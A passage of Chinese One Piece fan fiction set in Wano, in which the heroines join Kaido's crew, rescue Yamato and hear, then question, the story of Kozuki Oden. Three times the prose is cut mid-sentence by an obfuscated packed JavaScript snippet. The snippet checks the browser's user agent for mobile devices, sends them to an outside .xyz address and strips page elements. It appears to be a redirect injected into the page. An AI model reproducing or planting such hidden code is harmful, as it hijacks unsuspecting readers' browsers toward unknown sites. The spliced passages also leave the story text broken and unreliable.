这是乌塔第一次看到路希认真战斗，她心脏的跳动声不由自主加快，仿佛刚才烬飞过来的火焰有几簇无意中落在了她身上，她整个人都燃起了一种渴望，一种对强大的渴望。她能感觉到，自己的目标更加清晰明确。 贝格变成小狗形态，几个跳跃再次趴到乌塔头上。兔子精灵是这个船上最弱的，但她目前属于贝格海贼团，那作为船长，就有义务保护好她。她摇摇尾巴，哎，没办法，她就是这么一个爱护船员的好船长。 船身逆流而上，整个斜了过来。众人用力握住周身能握的东西，保持身形稳定，以免甩飞出去。 监控屏幕前，在看到藤蔓飞舞出去时，奎因呆了一瞬。 “什么玩意啊？！” 原来这个绿绿的不是东西，真是个人，看起来还是个恶魔果实能力者，毕竟一般人身上也飞不出植物。嗯……还是说像烬一样是个什么珍稀种族，奎因陷入思考，毕竟左看右看，都没什么人样啊。 烬嘴里叼着恶魔果实，但并未马上飞回鬼之岛，而是在瀑布上空停留着，高空视野开阔，他能轻轻松松地看到下方情况。 原本待在瀑布底下的海贼船并未陷入困境太久，在他离开后，不多时，绿色的藤蔓牢牢牵制住鲤鱼们，顺利攀登上悬崖。 不算太弱。 鱼跃龙门成功，他这样想着，在空中盘旋了几圈，朝着鬼之岛的方向飞去。 底下，路希抬头，视线追随着他飞去的方向，思忖片刻，强势用藤蔓改变了鲤鱼们接下去的游向。她同时对船员们命令道：“转舵，朝着他的方向前进。” 69.和之国 跟随着烬，海贼船最终到达的地方名为鬼之岛，隶属和之国，盘踞在此的皆为百兽海贼团成员。 而从鬼岛的港口出发，便可到达和之国主岛。 路希一行人暂时留在了鬼岛。 有一说一，百兽海贼团的氛围比她预想的要宽松。 作为平平无奇的新人海贼们，她们的加入自然引不起什么轰动，也没有所谓的欢迎派对。烬把恶魔果实交给凯多，报告了下她们的情况。凯多顺便见了一面，说了句，都是女人啊，交给玛利亚吧。 面见结束，就这样。 等玛利亚来领走她们的时候，路希倒是和三灾之一的奎因聊了几句。奎因对她当时攀崖使用出来的能力有几分好奇，直接问道：“你是什么恶魔果实能力者？” 路希也不隐瞒，毕竟她吃下恶魔果实后还从没有正式在公众面前展示过自己的能力，海贼这边没有消息。 “森森果实。” 奎因嘟囔着什么，又问道：“怎么没见过你的悬赏令？” 监控视频里，她表现出来的实力不弱，也不像刚吃下恶魔果实的新手。 路希眨眨眼，回：“我刚成为海贼不久。” “那怎么想当海贼的？” 奎因还有继续聊下去的打算，毕竟闲着也是闲着，路希这边还没来得及回答，乌塔已经替她补上了。她双手叉腰，高高抬头看着奎因，声音掷地有声。 “因为小希要当我的经纪人！” 奎因：“？” 路希淡定答道：“嗯，因为我要当乌塔的经纪人。贝格她们顺路经过，就带着我们一起出海了。” 奎因：“什么经纪人？” 路希：“歌手，乌塔是一个歌手。” 奎因双眼瞬间亮了亮，虽然因为体型差距加之戴着墨镜的原因，路希她们没能很好观测到，但多少也听出对方语气的变化。 “呵呵呵呵呵，不可能。” 奎因怪笑起来，直接否定，但又隐隐带着一丝期待。 乌塔：“？” 好大胆，竟敢质疑她的能力。 乌塔的【尊严】受到敌方挑衅，挑衅大成功。乌塔决定使出技能【献唱一曲】。 等得昏昏欲睡的贝格顿时精神起来，“要开演唱会了吗？” 她可喜欢兔子精灵的演唱会了，因为兔子精灵会会用她的能力变出很多很多只兔子供她玩，简直就是天堂！ 路希插话道：“只是普通的唱歌。” 乌塔随即明了路希的意思。 她没有动用果实能力，只是普通的唱了一曲。然而即便如此，吸引住奎因足够了。玛利亚到来的时候，正好听到奎因在邀请乌塔：“怎么样，要不来当我的部下？” 玛利亚：“？” 这不是凯多老大分派给她的新手下吗？是全女的海贼船，她还很期待呢，毕竟她本身就掌管着百兽海贼团的多数女性海贼。怎么刚来就看到大看板之一的奎因要跟她抢人？ 玛利亚靠近，定睛一看，收到奎因邀请的是一个十二三岁的小女孩。 玛利亚：“？？” 一个小女孩也要抓过去压榨，这位大看板大人是部下无人了吗？还是起了什么莫名的父爱？毕竟从外表看，确实可爱。 玛利亚笑着出声：“哎呀，这是发生了什么事？” 她打量着在场人员，新加入的这个海贼团人员显然没有到齐，在场只有四位陌生女性……嗯，虽然有一个全身的身形都被绿色的植物细丝遮挡着，但既然是全女海贼团，想来自是女性。 “哦，你来了啊，玛利亚。”奎因顺势解释起来，“这个小女孩唱歌很有天赋，我想把她拉到我的团队。” 奎因一贯喜欢歌舞，每逢派对，不仅包揽主持人这个位置，还会包揽各种唱歌跳舞总之能尽兴发挥他音乐爱好的位置。 乌塔茫然地看了一眼奎因，又茫然地看着玛利亚。她们两个都好高，头抬得有些费劲。而且她怎么就被这个男人忽然邀请了呢？她只想跟路希她们在一起呀。 看来这个孩子的音乐天赋入了他的眼，玛利亚心想。然而……她观望着这个女孩，对方好似不小心走进了恶兽徘徊的可怜小动物。 玛利亚笑起来：“奎因大人恐怕不会照看孩子吧，何况还是个小女孩。不如交给我培养，毕竟我麾下的游女们俱是弹唱跳出色，等到技术精进，再让她为您准备舞曲岂不好？” 奎因曾经有个孩子，不过小孩出生三年后，他收到凯多邀请，后来又过几年，他抛家弃子，成为了百兽海贼团一员。要说照顾孩子，他确实经验不多。何况，他本人只是一时被乌塔的歌声惊艳，要说执念到真没有太强。于是他干脆地放弃，临走前记得让玛利亚好好培养。 路希打量着玛利亚。 玛利亚是一名身躯高大的女子，比凯多还要高上不少。回想起一路见到的几个干部，皆是身材高大。她不由得怀疑凯多挑选心腹的一大要求就是身高必须够高，否则面对面讲话都费劲。 抛去身高这个因素，玛利亚倒是展现出一副文弱之意，温声问了句其她的海贼成员都在哪里。 芙丽那老实回答，还在船上待命。 玛利亚并未多说什么，示意四人跟随她走，将她们带到三楼的游廊，这是她的领地。这里，皆是女人，穿着和玛利亚同款式的衣服，见到她，恭敬地行礼。 芙丽那原先还在紧张的心情此刻放松了一点下来。 路希闻到很浓的香味，有些不适应，于是直接让植物替她吸收了这股香气，别传到她鼻子里来。贝格则是直接带着嫌弃的表情开口：“好香，我不喜欢这里。” 芙丽那：“……！” 芙丽那刚放下的心又悬了起来，当着四皇干部的面说什么呢？！ 玛利亚低声笑了笑，并未动怒，问道：“为什么？” 贝格毫无当部下的自觉，直白回道：“鼻子不舒服。” 路希替她补充，“贝格是犬犬果实能力者，鼻子灵敏，受不了味道浓重的地方。” “哦。”玛利亚挑挑眉，“不过香味，也是我这游廊的一大特色呢。” 贝格应道：“那我以后不来这里了。” 乌塔认为自己有必要说点什么转移话题，她好担心刚到和之国贝格就跟人打起来。她迟疑片刻，喊道：“那个……谢谢你，玛利亚女士。” 玛利亚不知是有意还是无意，没有继续先前的话题，看向乌塔，笑道：“这么一个惹人怜爱的孩子，要交到那群男人手中让他们养，我实在是不放心呢。” 乌塔被夸，有些害羞。 贝格很是诚实，“你人还怪好的嘞。我也不太喜欢跟男人玩。” 玛利亚捂住嘴呵呵呵地笑了起来。 这孩子什么都敢说，有点让她想起凯多大人的孩子了。说来，两人都是犬犬果实能力者。若能碰上面，倒不知道能不能聊起来。 不过大和那个孩子……可不觉得男人有什么不好。 贝格继续问道：“我们要一直待在这里吗？” 玛利亚摇摇头，倒是没强留，“不，既 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她神色一变，下意识想起跑出去的贝格，正要去查看情况之时，见玛利亚态度平静，仿佛见过无数遍凯多高喊的场景，“哎呀呀，大和又和凯多大人打起来了。” 不是贝格。 路希迅速在脑中搜索着大和的名字，不在任何一张百兽海贼团的悬赏单上。但是，“又”——这个人和凯多打过很多场吗？ 如果具备和凯多同等的实力，世界政府那边很难不清楚情况。还是说这个叫大和的人一直待在和之国？ 她问道：“大和是谁？” 玛利亚的语气变得神秘莫测起来，“当然是凯多大人的……”她顿了一下，说出对方的身份，“儿子。” 路希：“……？” 凯多怎么就在和之国偷偷摸摸有了个儿子？这悄无声息地成长起来还得了？！果然亲自到地方领地探查情况很有用。 与待在三楼游廊由玛利亚告知信息的路希和乌塔不同，贝格倒是直面了一场四皇暴打未知人士的戏码。她大睁着眼，看见凯多手中的狼牙棒火花带闪电，毫不留情地朝着那个手中拷着镣铐的女人击去。 那个女人同样拿着狼牙棒，吃力躲闪中似乎还想反击，不过是徒劳之举。 芙丽那气喘吁吁地找到自家船长，还来不及喊她，就顺着前方的看去。 那个被凯多击中的女人重重落在地上，不知是死是活。 芙丽那的脸色愈发苍白，怎么了这是？难道她们刚到和之国，就有人袭击四皇了吗？她刚想叫贝格，让她和自己回去，别掺和进这一看就很麻烦的事，谁知贝格忽然人兽化，朝着那个倒地的女人奔去。 芙丽那：“……” 芙丽那强撑住自己别崩溃，她还有一船员的人要照顾呢。她绝望地继续跟在贝格身后，“你要去干什么啊？！” 贝格的声音摇摇传来，“狗味，我闻到了狗味。这个人和我一样。” 芙丽那满是迷茫，你闻到了兔味也不行啊！那可是四皇亲自出手打倒的女人！ 70.和之国 倒地的女人叫大和，是凯多的儿子（自称）。 这是她醒过来后告诉贝格与路希几人的。 当时，贝格不顾凯多的强大威压，愣是凭借着出色的身体素质，咻一下跑到战局中心，扛起大和就逃。大和意识模糊，只感觉有人一把将她扛起来，而且姿势还不怎么合格，跑动起来颠得她浑身难受。不过她刚刚才被暴揍过，浑身上下这痛那痛，相比较起来，这份难受还算能忍受。 芙丽那颤抖着身体，脑子飞速运转着如何对凯多谢罪。谁知凯多只是扛着狼牙棒原地站了一会，都没注意到她，或者说根本不在意她，转身走向城堡内。 芙丽那怔了一会，一时猜不透对方的念头，但照目前的情况看，凯多并没有追杀先前那名女性的打算。然而，方才暴怒的声音又是货真价实的。 鬼之岛内也没有其他干部出来观望情况。 芙丽那稳定心神，决定先追上贝格，再询问那名女子了解情况。 贝格直接把她带到了海贼船停靠的地方。 她本来是想带这个女人上船接受治疗的，谁知对方似乎是听见了海浪声，强打起精神，虚弱地说道，别、离岛……会……爆炸。 贝格没听懂她到底想说什么，不过还是听从她的话，将这个人放在了海岸上。 留守在海贼船的其她船员也听到了方才来自四皇的暴怒声音，虽没明白到底发生了什么事，但见自家船长吭哧吭哧扛着一个受伤的女性跑过来，自然不可能放着不管，当即拿着医疗箱下船查看此人的伤势。 大和意识昏沉了好一段时间，终于迷迷糊糊醒来。 人，好多个女人围绕着她，有担忧地望着她的，也有在讨论她身体情况的。 “外伤恢复的很快，抗击打能力强……唔，和船长的身体情况有些像。” “头上的角，不是装饰……也是能力者吗？” “她也是狗。” 一道清脆的声音带着肯定的语气传到大和的耳中，她下意识反驳：“谁是狗？！” 声音的主人与大和对视。 “你醒了。” 大和看着这个年轻的少年，不知为何，下意识判定就是此人将自己带到这里的。对方跟她打了个招呼，继续先前的话题，神情很是认真：“你是狗，我也是狗。” 大和：“……” 有另一个气质温和的女子给了这个少年一板栗，带着歉意对她说道：“抱歉，我们船长的意思是，你们都是犬犬果实能力者……大概？” 啊，这下她明白了。 大和支起身子，爽朗地笑道：“原来如此，没错，那我确实是狗，我小的时候，吃过一个恶魔果实，是犬犬果实幻兽种形态。” 芙丽那顿时感觉眼前这人很没心机，一张口就把什么都说出来了。 贝格骄傲地挺起胸膛，“看吧，我鼻子很灵。” 芙丽那扶额，这下又能让她们船长得瑟好久一段时间了。不过贝格的性格她早已习惯，现在要查明的是其它问题。 “失礼了，但是，可以麻烦你告知我们刚才到底发生了什么事吗？为什么你会和四皇凯多打起来？” 而且，对方明显不准备追究的模样。 “啊，你说这个啊。”大和挠了挠脸，看起来十分郁闷，“那个混账老爹，不想让我当光月御田出海。我和他为此打过好多次架了。” 周身的世界忽然卡顿了下。 芙丽那不确定地重复了一遍对方的话：“混账……老爹？” 大和这才像是想起什么，“对了，我还没跟你们介绍过我自己呢。我叫大和，是要成为光月御田的男人，也是凯多的儿子。你们呢？” 空气比先前更加沉默。 贝格皱起眉，不理解这个叫大和的女人在说什么。“什么男人，你不是女的吗？” 大和十分坚持：“不，我是男人。” 贝格难得思绪混乱，因为不管怎么看，大和都是名女性。而且她们先前做了简单的身体检查，对方的身体构造确实是女性。贝格看向芙丽那，芙丽那感觉自己肩上的重担又多了一项，进退两难。要知道，不管大和认为自己是女人还是男人，她的另一重身份是四皇的孩子。现下，她终于理解为何凯多明明如此动怒，却没有追上来赶尽杀绝。 芙丽那拍拍贝格的肩，坚强地说道：“等船精灵来吧。” 不管如何，她们后来是因为路希的坚持才来到和之国的。某种意义上，不是路希上了她们的船，而是她们上了海军的船。这种看起来就有麻烦的事，还是交由对方定夺吧。 路希没有让她们等太久，在玛利亚告知她们外界发生何事时，她就准备出来看看情况。乌塔倒是还留在玛利亚那边学习三味线的弹奏方法，一来凯多的这个部下对乌塔还算关爱有加，二来贝格跑了，芙丽那跑了，接着她自己也要跑了，不管玛利亚脾气再好——何况她们不算真正了解玛利亚的性格——总是会留下点不好的印象。 哎，路希忧愁地想到，这就是当别人手下而不是当老大的坏事，干点什么都得考虑别人的态度。当老大就不一样了，都是手下为自己考虑。 她出来的时候，外面已然没有凯多的身影，不过路上倒是有一些小兵们在八卦，诸如“凯多大人又和大和大人打起来了”“大和大人怎么还没有放弃”“谁去看看大和大人的伤势”“反正她自己会处理的啦”“就是啊，她又懒得跟我们混”“刚才是不是有人把大和大人带走了”“好像不是人，有尾巴”。 凯多与大和打架的地方有块地浅浅凹了下去，路希观察了下，大抵是那个叫大和的男人被凯多打出来的，仍有微弱的战斗气息在这里徘徊，些许威压残留。 她想起第一次见到凯多时的情况，对方很高，即便坐着，她们也要仰头才能看清男人的脸。凯多没说什么，让她难以揣度此人的性格。外界的传闻，四皇凯多是最强的生物。海军曾判处他四十多次死刑，然而依旧让他活了下来。这样的人，一直待在和之国是为了什么？ 四皇譬如夏洛特·玲玲，本人创立万国，可以说是独立于世界政府与非加盟国的第三个国家。而本人也到处与不同种族的男人生小孩，生下的孩子既是自己的部下，亦是与其它势力联姻的棋子；其二譬如白胡子，到处在非加盟国插自己的海贼旗，宣告这是自己的领地，扩大自己声望的同时增强自身的势力。 而凯多与他们都不同，虽然也在扩大势力，但他似乎只想专心在和之国发展。本人也不像香克斯到处乱逛抓不见人，所有人都知道他在和之国。 路希思考了一会，便将这个疑惑压在心底，既然暂时得不出答案，那就只能先搜集信息。 她环顾了一圈四周，寻找大和的踪迹。根据先前在小兵那听到的信息，有人带走了受伤的大和。 路希第一个排除不知跑到哪里去了的贝格，因为贝格不会救男人。然而她很快犹豫起来。 地上有脚印的踪迹，深深浅浅，顺着脚印一路向前，直到消失，可以看到，它们要通往的地方是海岸那边。而海岸，停留着的是贝格的海贼船。 船上的女人对救助男人都没什么兴趣。 但这个脚印的大小和形状……路希不太确定地快速往海贼船赶去，该不会是被威胁了吧。毕竟是四皇的儿子，而且听起来经常和他爹打架，性格肯定很糟糕。 路希赶到海岸边的时候，看见贝格和她的船员围绕着一个陌生的女人，正在讨论着什么，贝格手舞足蹈。有一些女人在船上，靠着栏杆，神色懒散地趴着听底下的人聊天，注意到不远处的动静，热情地挥挥手打招呼，对贝格喊道：“船精灵来啦。” 大和本来正在询问贝格船精灵是什么东西，贝格用着各种拟声词和肢体东西为她展示何为船精灵。芙丽那觉得很丢脸，数着海岸上的沙子数量不想看。大和显然也没理解，好在说船精灵船精灵到，大和抬头望去，看见一个浑身绿色的东西朝这边冲来。 大和：“……”她沉默了，“这就是船精灵？” 贝格很是兴奋，“嗯！” 她拉着路希身上的植物枝条，为她们两个互相介绍，“这是船精灵，这是大和！” 路希默了一瞬，这名字如此耳熟，玛利亚口中凯多的儿子就是这个名字。但是……眼前之人，不管如何观察，都是女人啊。 她看了一眼芙丽那，芙丽那一副看到救星的表情。她转而看向大和，这个人身上受了伤。 两个人对视着，一言不发。虽然大和并不能确定她们在对视，因为这位船精灵浑身披着植物枝条，她都看不到对方的眼睛。大和甚至不能确定是女是男亦或是人类，毕竟，刚才贝格她们还说这是船精灵。 那应该不是人，她想。 倒是路希先开口，“你是大和？” 大和点头：“对。” 路希继续问道：“凯多有个儿子，也叫大和。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15524642|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 大和笑起来，“那就是我，我是凯多的儿子。” 路希：“……” 路希脑袋高功率转动着，什么情况什么情况什么情况？难道儿子在和之国代表的意思与外界不同，也是女儿的意思吗？ 贝格扒拉出先前未解的困惑递给路希：“大和明明是女人，但她又说自己是男人。那她到底是什么东西？” 路希：“……？” 真的假的，和之国未免太奇怪了，她第一次碰到这种事。这一趟不算白来。 大和摆摆手，为自己解释：“不不，我就是男人啦。因为光月御田是男人，我要成为光月御田，所以我也是男人。” 陌生的名字出现了，路希冒出新的困惑：“光月御田是什么东西？” 居然能让一个女人认为自己是男人，而且态度如此坚定，好可怕的存在，一定是异常生物。 大和有些焦急：“光月御田不是什么东西，他是、他是和之国最出色的武士。” 路希大惊：“那他也是凯多的部下吗？” 转而一想不对，没在通缉令上见过啊，难道是隐居在和之国的危险人士？ 大和继续解释：“不是！他是我爹的敌人！是和之国原来的将军，但已经被我爹杀死了，可恶……凯多这个混账。” 大和说着说着悲愤起来，路希不解地看着她，“那就是个死人，不算最出色的武士，因为只有活着的人才能成为最出色的人。” 大和手上锁链晃动，反驳道：“那不一样，光月御田是不同的。而且，如果不是我爹他们使诈，光月御田不一定会败北。” 路希没答话，靠在栏杆上的女人轻声说着什么，她仔细听了听，上面的人在说，“坏了，这是遭到名为男人的病毒了。” 路希：“……”她看着大和，转移了话题，问，“你是凯多的女儿，为什么还要带着这个手铐？” 说到这个，大和愈发郁闷，“你说这个，凯多给我戴上的，因为我想像光月御田一样出海，也想让和之国开国，但是他不允许，给我强行戴上了这个手铐，离开鬼岛就会爆炸。” 路希眨眨眼，整合着已知信息。 一、光月御田是和之国曾经的将军，一名出色的武士，战力和凯多不相上下，以至于凯多使诈才能打败他。 二、光月御田出海航行过，时间未知，凯多极有可能在这个阶段占据和之国。 三、光月御田想要和之国开国。和之国一直以来处于闭关锁国阶段，从不与外界接触。大和不知为何继承了对方的梦想，也想让和之国开国。然而若没有被凯多占据，开国之后，和之国想得到什么？加入世界政府，还是与其它非加盟同样？ 路希沉思片刻，问道：“你怎么知道光月御田这么多事，清楚他出海过还知道他的梦想？你爹不是他的敌人吗？” “这是因为……”大和本想说些什么，却忽然停了片刻，转而发问，“不对，为什么我要告诉你这么多？而且你们究竟是谁啊？老爹的新部下吗？” 路希点头：“是啊，我们刚来投奔凯多的。不过一来就看见你和他打起来了，我们的船长好心，怕你被凯多打死，拼了命也要救你。” 大和顿时有点羞愧，确实，一般情况下，其实没人来照顾她的。她每次挨打结束，都是等到自己醒来再踉踉跄跄去处理伤口，这次直接被贝格带走了。而且她们刚来，自然是不清楚她与凯多的关系，然而即便如此，贝格也要救她。 路希不等大和开口，继续说道：“没关系，如果你不想说，我们不会逼问的。每个人都有自己的秘密，对吧，芙丽那。” 至于贝格，她们聊得太多，她已经神游天外了。 忽然被点名的芙丽那：“……对，我们一向很尊重个人隐私。” 大和感觉心里涌动着一股奇怪的情绪，很莫名，但不讨厌。“你们……人挺好的。” 被夸人很好的路希微微一笑，接着问出了新的问题，“不过，你是什么时候想成为光月御田的呢？” 显然，大和并不是从出生起就把自己当做男人的。她受到光月御田的感染，因此才产生了这个念头。然而，既是敌人，凯多是怎么眼睁睁看着自己女儿被对方洗脑成这样的？ 大和像是回忆起了什么，神色变得些许哀愁，“啊，你说这个，那是我八岁的时候，我亲眼目睹了光月御田的处刑。” “釜煮之刑一小时。” 71.和之国 釜煮二字，意思是将食物放入锅中烹煮。加上刑罚，即表明食物是人类。 大和说，光月御田曾被当做食物，送下油锅。 路希对男人的故事没什么兴趣，不过她对大和很感兴趣。大和很强，且是凯多的女儿，目前看来，两者的关系一点都不父慈女孝，大和说不定能在未来成为她的助力。而且这段旧事也有助于她了解自己的敌人， 另一点，一个女人老是嚷嚷着自己是个男人，路希觉得十分烦人。因此她想搞清楚前因后果。 大和面色沉重，路希认真听讲，贝格昏昏欲睡，芙丽那打了个哈欠。 这是十一年前的事，那一年，大和八岁。 光月御田率领家臣对战凯多海贼团，虽然人数悬殊，但仍凭借强大实力将凯多逼退，甚至在凯多胸前留下至今都未消退的伤痕。然而，黑炭家族中有一位阴险狡诈之徒，借由果实能力变幻成光月御田之子的模样，干扰御田心神，导致凯多得到背后袭击的机会，大胜光月一行人。 三日后，御田与一同作战的赤鞘九侠处以釜煮之刑。 “但是，御田不忍心家臣与自己一同遭受刑罚，便与我老爹打赌，只要他能在油锅中撑上一小时，我老爹就必须放他们所有人离开。” “老爹同意了，可是赤鞘九侠誓要与光月御田同甘共苦，于是一同跳入油锅。但是，光月御田用木板接住了他们，将九个人举在上方，而自己承受了一小时的高温热油。” “光月御田成功撑了下来，我们所有人都以为他们能活下来，可现在的将军和我老爹出尔反尔，决定枪杀这十个人。” “他拼上全力，将木板上的家臣们掀飞出去，为他们夺得一线生机。而自己却在油锅内，因为力气耗尽，接受枪决，自此牺牲。” “至今，我都还记得他死前留下的最后一句话，‘滚油热汤奈我何，千熬百煮滋味多！’” “后来我为了找寻家臣们的踪迹，更是跑到九里，却是亲眼见证了我老爹把光月御田之子桃之助扔下去的景象。可恶……我当时太弱了，根本帮不到他们什么忙，只能看着。后来我在九里四下闲逛，找到了御田留下的航海日志，也就是从那时候起，我决定放弃凯多女儿的身份！” “我要继承光月御田的遗志，成为像他一样的男人！让和之国开国！” 贝格看着神情激动的大和，甩甩头驱赶了一下瞌睡，忍不住真诚发问：“可是光月御田已经死了诶，你要成为像他一样的男人，那你也要死吗？” 大和：“……不，我说得不是这个意思。” 路希也提出了自己的问题：“既然如此，你是准备在未来推翻凯多，自己当和之国的新将军吗？” 大和犹豫片刻，说道：“我还没想过这一点，只是御田的精神震撼到了我，所以，我无论如何都想成为他。可具体要怎么做，我还没决定好，毕竟，现在的我连凯多一招都承受不住。” 芙丽那也有自己的疑问：“既然光月御田作为将军已经被杀死了，凯多为什么不自己当将军……你刚才说，现在的将军？和之国的新将军又是什么人？” “你说这个啊！” 关于这一点，又要追寻到更早的时间段。不过大和那个时候年龄还小，因此许多事情知晓的也不甚清楚，只能简单的讲解。 “现在的将军名为黑炭大蛇，是一个非常讨人厌的男人。我与他接触并不多，因为在我坚持要当光月御田后，老爹就把我关在鬼岛了。不过他和老爹有个合作，总之，他们一起使诈打败了光月家族。之后他当和之国的将军，老爹当和之国的护国明王。” “但黑炭大蛇与其说想当将军，不如说他只是为了推翻光月御田家的统治。” 路希歪歪头：“为什么？” 大和握紧双手，义愤填膺，似乎又想起什么令人不悦的事，“因为他是个‘复仇者’，黑炭家族的复仇者。” 这一点，也是光月御田处刑日那天被众人知晓的。 贝格打了个盹，听起来那一天真是发生了好多事，可事情说白了不就是一个男人联合另一个男人和手下的一群男人推翻了另一些男人统治的故事嘛，真不明白大和怎么这么为男人们的故事激动，她刚才努力听了一下，都没在里面找到女人的存在。 作为一个性别和自我认知都为女的人类，她一点代入感都没有。 大和继续述说。 贝格本来想直接睡过去，谁知大和忽然提起了一个女人，于是她又勉强打起精神听了下去。 “和之国的民众，本来一无所知，以为将军的位置只是单纯的换了个家族坐，但事情不是这样的。黑炭大蛇深深怨恨着光月家族。” 有一个女人，在光月御田遭受刑罚，围观民众事不关己点评之时，难以忍受心中的愤怒之情，吼出了真相。 “黑炭家族是罪人的家族，因为他们过去曾试图谋反光月家族，然而失败，主谋者与相关人士切腹谢罪，其余幸存下来的黑炭成员遭到整个和之国的人驱逐辱骂以及杀害，对他们而言，和之国所有人才是残害他们的罪人。” “黑炭大蛇为了毁灭和之国，才选择与凯多合作，成为将军。他不在乎和之国的未来，他只想把这里的人们踩在脚下。” “于是在御田出海航行时，黑炭大蛇与凯多联手夺国，等御田回来，发现和之国情况不对劲时，他冲了上去，试要夺回自己的国家。” “光月御田本有机会夺回和之国，谁知黑炭大蛇居然早已绑架国民作为人质威胁御田，并且还准备了大量献给我老爹的武器。倘若他攻击自己，黑炭大蛇就会把这些人送给海贼，让他们过上虏隶的日子。但与之相反，若光月御田会乖乖听自己话，五年后，只要五年，船只造好，海贼们就会离开这个国家！ ” “光月御田相信了这个人的话，从此开始每周在大蛇的城楼下跳裸舞。因为只要跳一次，大蛇就会放出一百位人质！御田就这样舍弃了一切，忍受着国民的不解，失望与讥笑，默默地拯救那些人与这个国家。” “可惜……这些都是借口，是大蛇和我老爹联手起来陷害光月御田的手段。他们从一开始就不准备离开，他们只是利用这五年时间，毁去御田的声望，暗中增强自己的势力与实力，以便最后能成功打倒御田……” “而御田……最终就这样为和之国牺牲了。国民们在御田牺牲的最后关头终于理解了过去他为这个国家所做的一切，但已经太迟了！黑炭大蛇和老爹根本不会放过光月御田，不仅是御田，还包括他的妻子、儿女、追随他的部下们。一切都太晚了！” “所以，你们明白为什么我要成为光月御田了吧！这里所有的不幸和痛苦，都是黑炭大蛇和凯多造成的，而光月御田，与他们截然不同，是一个了不起的男人！” 大概由于鬼岛从来没有人与大和聊起过这些，她愈说愈激动，好像自己亲眼见证了那些事情一样，把自己整得热血沸腾。 而贝格中途就已经变为米格鲁犬形态跑到芙丽那怀中睡了过去，她本来以为大和开头提到的那个女人会在故事中起到什么转折性的作用，或是代替那个什么什么田的男人成为和之国新的希望，结果听来听去，她发现这个女人起到的可能只是一个传话筒作用，主要还是为了讲述那些打来打去的男人们的背后故事。就像现在的大和。 当时那个传话的女人说着—— 听到了那个女人声音讲述着御田故事的大和重复着—— 一些、很没有意思的、翻来覆去的找，却连女人身影都看不到的男人们的故事而已。 贝格已经对和之国的这段旧事彻底失去了兴趣。她不能理解大和，于是决定睡觉。 芙丽那轻轻抚摸着小狗。 路希听完了光月御田的整个故事，虽然这听起来似乎确实是一个挺悲壮的故事，但她还是在里面的一些内容有些困惑。 她斟酌下了语气，问道：“先前你说，十一年前，光月御田和他的家臣，在失去民心，以及跳了五年裸舞的情况下，发现真相，对凯多他们进行反击，是吗？” 大和不太懂为何对方问起这个问题，但还是点点头，说道：“是啊。” “而在这种完全不利的情况下，光月御田仍然将凯多逼退，直到黑炭家的一个人使诈，才让凯多得到偷袭机会侥幸胜出，是吗？” 大和继续点头，说道：“是啊。” 路希这下确定了，语气也不犹豫了。“也就是说，在五年后这种极端劣势的情况下，光月御田依然具备打倒凯多的超强实力，那五年前，他只会比凯多更强，不然，凯多也没有必要用计谋花上五年的时间来针对光月御田，那光月御田为什么不在五年前就这样把凯多打飞呢？” 大和顿了一下：“因为……黑炭大蛇有人质啊。” 路希摇头，“不不，我的意思是说，难道这五年里，他一次都没有想到去创造一个机会打败凯多吗？” 她继续说了下去，“诚然，光月御田刚回到和之国，就发现国已被窃，而敌人甚至抓好了子民来威胁他。在这种不了解情势的情况下，我多少可以理解他暂时按兵不动的决定。毕竟，敌暗我明，一无所知的状态下并不适合出击。” “可是，整整有五年时间，他难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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学习光月御田的精神她当世界之王必定被推翻三百次。不，她甚至可能到达不了世界之王这个位置。 路希神色严肃了起来，对大和说道：“恕我直言，如果光月御田的故事就像你口中说的这样，我真的没搞懂他到底守护了什么，又失去了什么？” 说实话，她认为这个国家的国民才是真正失去了很多东西的人。 海贼与复仇者窃国，本以为航行归来的将军能带领众人一同夺回这个国家，让和之国再度恢复安宁，然而，归来的将军只是纯粹的跳了五年的裸舞，五年后莫名其妙又忽然跑去打凯多败北，被处以极刑……这件事早已与他们无关，因为将军用五年的时间证明了他们这些抱有希望的人是多么纯粹的小丑。 而本以为就这样结束了，却有一个在五年前就知晓内情的女人出来大吼，在对方死前把他暗中承受的一切说了出来，揭露真相……路希思索再三还是没搞懂这群人在卖力地上演什么戏码，一方看似很狡诈，然而光月御田直接可以用武力将他们赶走。另一方明明很强，却一定要扬短避长，甚至连短也没怎么发挥，只是单纯跳舞……看似悲情地承受了一切，但真要说起来也不清楚到底承担了什么玩意。 说实在的，她甚至觉得，但凡早点把这事说出来，可能局面都会不一样。 早个两三年说出来，就算不能光明正大的说，暗地里传播一下也行啊。将军倘若要对敌，绝对会有国民为了国家的和平跟上去。 路希困惑地问大和：“你到底在感动什么？” 大和：“……” 大和一时哑口无言，她觉得这群新来的海贼很奇怪，对御田的故事竟然一丝动容的情绪都没有。然而对方说的话，仔细一想，似乎又不是全然没有道理。 她每次看到凯多，都能清楚的看到御田在他身上留下的伤口……每一次，她都想，光月御田是何等强大的男人，能在她一直都打不过的老爹身上留下这么可怖的伤痕。可惜，英雄的结局却如此惨烈，但真像方才那样细细从头说起，和之国似乎又有许多机会换个模样。 她难以回答，只能模棱两可的说道：“因为，御田就是这样一个天真的男人吧。” 而一直安静听着，未发一言的芙丽那，在此时却忽然地笑了，她看着大和，一贯温和的神情多了几分难以察觉的凌厉。 芙丽那问了大和一个问题。 